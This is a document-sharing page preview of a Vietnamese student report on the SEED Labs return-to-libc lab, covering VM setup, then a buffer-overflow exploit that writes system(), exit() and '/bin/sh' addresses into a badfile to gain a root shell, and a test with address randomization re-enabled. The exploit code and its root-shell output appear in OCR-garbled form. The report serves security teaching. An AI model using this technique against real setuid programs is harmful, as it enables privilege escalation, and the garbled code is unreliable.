1. Trang chủ
  2. » Giáo Dục - Đào Tạo

THỰC tập cơ sở CHUYÊN NGHÀNH AN TOÀN PHẦN mềm NGHIÊN cứu THỰC HÀNH CÁCH tấn CÔNG RETURN TO LIBC (RETURN TO LIBC ATTACK LAB)

36 20 0

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 36
Dung lượng 511,1 KB

Nội dung

BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN ^ffl^ THỰC TẬP CƠ SỞ CHUYÊN NGHÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU THỰC HÀNH CÁCH TẤN CÔNG RETURN-TO-LIBC (RETURN-TO-LIBC ATTACK LAB) Giảng viên hướng dẫn: viên thực hiện: Sinh Lớp: Mã số sinh viên: Nhóm: Khóa: PGS.TS Lương Thế DũngQuốc Hồng Trần AT15H AT150719 13 2018-2023 TP Hồ Chí Minh, tháng 11 năm 2021 BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN ^fflos X hosts Linux distribLitions Gí Solaris hosts G Solaris 11 IPS hosts Oracle VM VirtualBox 6.1.26 Setup Custorìi Setup Select the you want tẽatures to be installed Click on the icons in ttie tree beloự? to change the íeatures wi be installed VirtualBox USB Support VirtualBox Networldng VirtualBox Bridgei Application VirtualBox Host-C VirtualBox Python 2.X SL Oracle vw VirtualBox 6.1.26 application Location: Yersion 6.1.26 Tiếp tục , chọn Next cuối chọn Install This íeature requires 217MB on your hard drive Ithas 3of3 subíeatures selected The subíeatures require 932KB on yo Chọn Finish để kết thúc trình cài đặt Bên giao diện sau cài đặt hồn tất 1.2 Cài đặt mơi trường ảo Ubuntu v16.04 SEED Labs Truy cập vào trang web : https://seedsecuritylabs.org/labsetup.html Chọn version 16.04 hình bên tải theo đường dẫn đính kèm Ubuntu 16.04 VM The SEED Ubuntu 16.04 VM (SEEDUbuntu-16.04-32bit.zip) can be dovvnloaded to your personal Computer from the tollovving links: • • • • • Google Drive DiqitalOcean zheịianq University (china) MD5 value: 12c48542c29c233580a23589b72b71b8 VM Manual: follow this manual to install the VM You can also run the SEED VM from a cloud: • Amazon AWS: You can íind the SEED VM in AWS's community AMIs Please read the instruction regarding How to Launch SEEDUbuntu VM in AWS It should be noted that the deíault passvvord íor this VM has been changed (see the same document) Ở em chọn đường dẫn “Google Drive” Sau tải xong giải nén file rar ịU SEEDUbuntu-16.O4-32bit.zip 10/20/2021 1ft 32 PM WinRARZIP archive 3,511,283 KB Quay lại với Oracle VM VirtualBox , Chọn New ,lựa chọn cài đặt hình bên chọn Next Create Virtual Machine Name and operating System Please choose a descriptive name and destỉnatỉon folder fór the new Virtual machine and select the type of operating System you intend to install on it The name you choose wĩll be used throughout VìrtualBox to identity this madnine Name: Ịubuntu V16.04 Expert Mũde Next I Cancel 3.4 Task 2: Đưa chuỗi shell vào nhớ (Putting the shell string in the memory) Mục đích tác vụ đưa chuỗi lệnh ‘/bin/sh’ vào nhớ biết địa Để đạt điều này, ta tạo biến shell có tên MYSHELL chứa chuỗi lệnh / bin/sh [ 11/24/21]seed@VM:~/ /lab$ export MYSHELL=/bin/sh ĩ 11/24/21]seedộVM:~/ /lab$ env I grep MYSHELL MYSHELL=/bin/sh [ 11/24/21]seedộVM:~/ /lab$ I Biến MYSHELL có chuỗi shell tiến trình Bây tạo chương trình envShellString.c cho để lấy địa biến nhớ Chương trình sau biên dịch chạy với retlib để lấy địa biến retlib.c X envShellString.c X \Ễ #include #include #inctude void main(){ char* Shell = getenvCMYSHELL"); if (Shell) printt("%s\n", (unsigned int)shell ); s} [11/27/21]seed@VM:~/ ,/lab$ gcc -WaU envSheUString.c -0 envSheUString envSheUString.c:4:6: warning: return type of 'main' is not 'int' [-Wmain] void main(){ [ll/27/21]seed@VM:~/ /lab$ /envSheUString MYSHELL /retlib bffffe0c Tiếp theo, sử dụng chương trình getenv.c để tìm địa biến MYSHELL Ta tiến hành biên dịch chạy chương trình Nó cho ta output xác địa phục vụ cho tasks công sau [ll/25/21]seed@VM:~/ /lab$ /getenv MYSHELL /retlib MYSHELL W1U be at 0xbffffelc Kết luận: Địa biến shell truyền dạng biến mơi trường cho tiến trình tìm thấy sử dụng cho cơng để đưa số chuỗi tùy ý vào nhớ tiến trình 3.5 Task 3: Khai thác lỗ hổng tràn đệm (Exploiting the Buffer-Overflow Vulnerability) Mục đích task tạo nội dụng badíile cách cung cấp liệu nhị phân Qua cách sử dụng objdump chương trình retlib, tìm giá trị X, Y, Z Các giá trị đặt chương trình exploit2.c [11/25/21]s eed@VM:—/ retlib: file tormat Disas sembly of section 08048324 < 8048324: 8048325: init>: p e8 c3 pcthunk.bx> 81 c3 8048328: x86.get 804832d: %ebx 8048333: X),%eax 8048339: < / Lab$ objdump - -sou rce retlib elf32-i386 init: 53 83 ec pus h sub °ecbx $0x8,%es 00 00 call 80483f0 lc 00 00 add $0xlcd3, ff ff ff mov - 0x4(%eb 85 cO test %eax,%ea 55 89 e5 pus h mov %ebp %esp,%eb 83 s ub $0X18,%e 0 d 8b 83 f Dưới đây, ta thấy dịng thứ ba cho biết khơng gian cấp cho hàm bof () 0x18 Địa offset hàm system () 24 Địa exit() hàm cao so với hàm system() 080484bb : #include #include #include int bof(FILE *badfile) 80484bb: 80484bc: p 80484be: sp char buffer[12]; ec 18 /* The following statement □blem */ fread(buffer, sizeof(char), 80484C1: ff 75 08 80484C4: 80484C6: 80484C8: 6a 28 6a 01 8d 45 ec has 40, a buffer overflow pr badfile); pushĩ pus h pus h iea 0x8(%ebp $0x28 $0x1 -0xl4(%e Chương trình exploit2.c chứa đầy đủ địa hàm system(), exit(), địa /bin/sh Địa hàm xác định task phía [ll/25/21]seed@VM:~/ /lab$ cat exploit.c #include #inctude #include int main(int argc, char **argv) char buf[40]; FILE *badfiíé; badíile = fopen("./badfileH, V); You need to decide the addresses and the values for X, Y, z The order of the following three statements does not imply the order of X, z Actually, we intentionaHy scrambled the order */ Tiếp theo, ta tiếp tục biên dịch chạy chương trình exploit.c Ta nhìn thấy root shell sinh Terminal u GI t ■) 11:41 AM li File Edit View Search Terminal Help badtile = fopen("./badfile", "w"); /* You need to decide the addresses and the values for X, Y, z The order of the followir z three statements does not impty the order of X, > Actuatty, we intentionatty scrambled the order * *(long *) &buf[32] = 0xbffffelc; *(long *) &buf[24] = 0xb7e42da0; *(long *) &buf[28Í = 0xb7e369d0; fwrite(buf, sizeof(buf), 1, badtite); fclose(badfite); [11/27/21]seed@VM:~/ /lab$ /exploit2 [11/27/21]seedỒVM:-/ /lab$ /retlib # id uid=1000(seed) gid=1000(seed) euid=0(root) groups=100G "seed),4(adm),24(cd rom),27(sudo),30(dip),46(plugdev),11 (Ipadmin),128(sambashare) # // "/bin/sh" // systemO // exito Kết luận: Như thấy hình trên, địa hàm exit() đưa Ta nhận thấy địa hàm exit() không cần thiết để thực công vào người dùng Root shell tạo mà không cung cấp địa exit() Trường hợp cơng 2: Mục đích task thay đổi tên tệp ‘retlib’ thành ‘newretlib’ cố gắng công người dùng mà không thay đổi nội dung ‘badíile’ [11/27/21]seed@VM:~/ /lab$ [11/27/21]seedỒVM:~/ /lab$ [11/27/21]seedỖVM:~/ /lab$ zsh:l: command not tound: h mv retlib newretlib /exploit2 /newretlib Ở ta thay đổi tên chương trình từ ‘retlib’ thành ‘newretlib’ chạy chương trình exploit2 chương trình ‘newretlib’ Chúng nhận thấy gặp lỗi ta khơng thể lấy trình root shell tiến hành công người dùng Kết luận: Ta cơng người dùng Cuộc cơng khơng thành cơng ta đổi tên tệp, địa tệp bị thay đổi phải lặp lại toàn tác vụ thực trước để tìm lại địa Ở ‘retlib’ có địa khác ‘newretlib’ có địa khác sử dụng task tới 3.6 Task 4: Bật tính ngẫu nhiên hóa địa (Turning on Address Randomization) Ta biết tất công thực người dùng cách tắt tính ngẫu nhiên hóa địa chỉ, biện pháp đối phó tắt bảo vệ StackGuard biên dịch chương trình chứa lỗ hổng Bây ta tiến hành bật lại tính ngẫu nhiên hóa địa kiểm tra xem biện pháp bảo vệ có hiệu chống lại công Return-to-libc hay không zsn:i: commana noc rouna: n [ll/27/21]seed@VM:~/ /lab$ sudo /sbin/sysctl l.randomize_va_space=2 kernel.randomize vaspace = [11/27/21]seed@VM:~/ /lab$ /exploit2 /newretlib [ll/27/21]seed@VM:~/ /lab$ Segmentation fault [11/27/21]seed@VM:~/ /lab$ -w kerne Sau ta bật lại biện pháp đối phó ngẫu nhiên địa chỉ, chương trình ‘exploit2’ ‘newretlib’ chạy Kết luận: Lần cho kết Segmentation fault Điều xảy tràn đệm địa system (), exit () / bin / sh ln thay đổi Vì vậy, ta khơng thể giữ địa xác Đây lý công không thành công Thêm nữa, giá trị X,Y Z khơng thay đổi có địa chúng bị thay đổi Khi ta bật ngẫu nhiên địa chỉ, ta chạy chương trình biến chuỗi shell mà ta tạo task để tìm địa shell Khi ta cho chạy chạy lại vài lần, lần chạy cho kết ngẫu nhiên [11/27/21]seed@VM:~/ /lab$ /getenv MYSHELL /newretl Ib MYSHELL WĨU be at 0xbf958el6 [11/27/21]seedộVM:-/ /lab$ /getenv MYSHELL /newretl Ib MYSHELL will be at 0xbff8cel6 [11/27/21]seed@VM:~/ /lab$ /getenv MYSHELL /newretl Ib MYSHELL WĨU be at 0xbfef3el6 [11/27/21]seedộVM:-/ /lab$ I Ta tiếp ta tiến hành gỡ lỗi ‘newretlib’ trình gỡ lỗi ‘gdb’ để kiểm tra xem ngẫu nhiên hóa địa có cịn hiệu hay khơng [11/27/21]seed@VM:~/ /lab$ gdb retlib GNU gdb (Ubuntu 7.11.l-0ubuntul~16.04) 7.11.1 Copyright (C) 2016 Free Software Foundation, Inc License GPLv3+: GNU GPL version or later org/licenses/gpt.htmt> This is free software: you are free to change tribute it There is NO WARRANTY, to the extent permitted by law Type "show copying" and "show warranty" for details This GDB was contigured as "i686-linux-gnu" Type "show contiguration" for configuration detaits For bug reporting instructions, please see:

Ngày đăng: 23/03/2022, 20:18

HÌNH ẢNH LIÊN QUAN

Quay lại với Oracle VM VirtualBo x, Chọn New ,lựa chọn các cài đặt như hình bên dưới và chọn Next. - THỰC tập cơ sở CHUYÊN NGHÀNH AN TOÀN PHẦN mềm NGHIÊN cứu THỰC HÀNH CÁCH tấn CÔNG RETURN TO LIBC (RETURN TO LIBC ATTACK LAB)
uay lại với Oracle VM VirtualBo x, Chọn New ,lựa chọn các cài đặt như hình bên dưới và chọn Next (Trang 10)
Sau khi chọn đường dẫn xong sẽ hiện giống như ảnh màn hình sau và click vào “SEEDUbuntu-16.04-32bit.vmdk” và chọn Choose - THỰC tập cơ sở CHUYÊN NGHÀNH AN TOÀN PHẦN mềm NGHIÊN cứu THỰC HÀNH CÁCH tấn CÔNG RETURN TO LIBC (RETURN TO LIBC ATTACK LAB)
au khi chọn đường dẫn xong sẽ hiện giống như ảnh màn hình sau và click vào “SEEDUbuntu-16.04-32bit.vmdk” và chọn Choose (Trang 12)

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w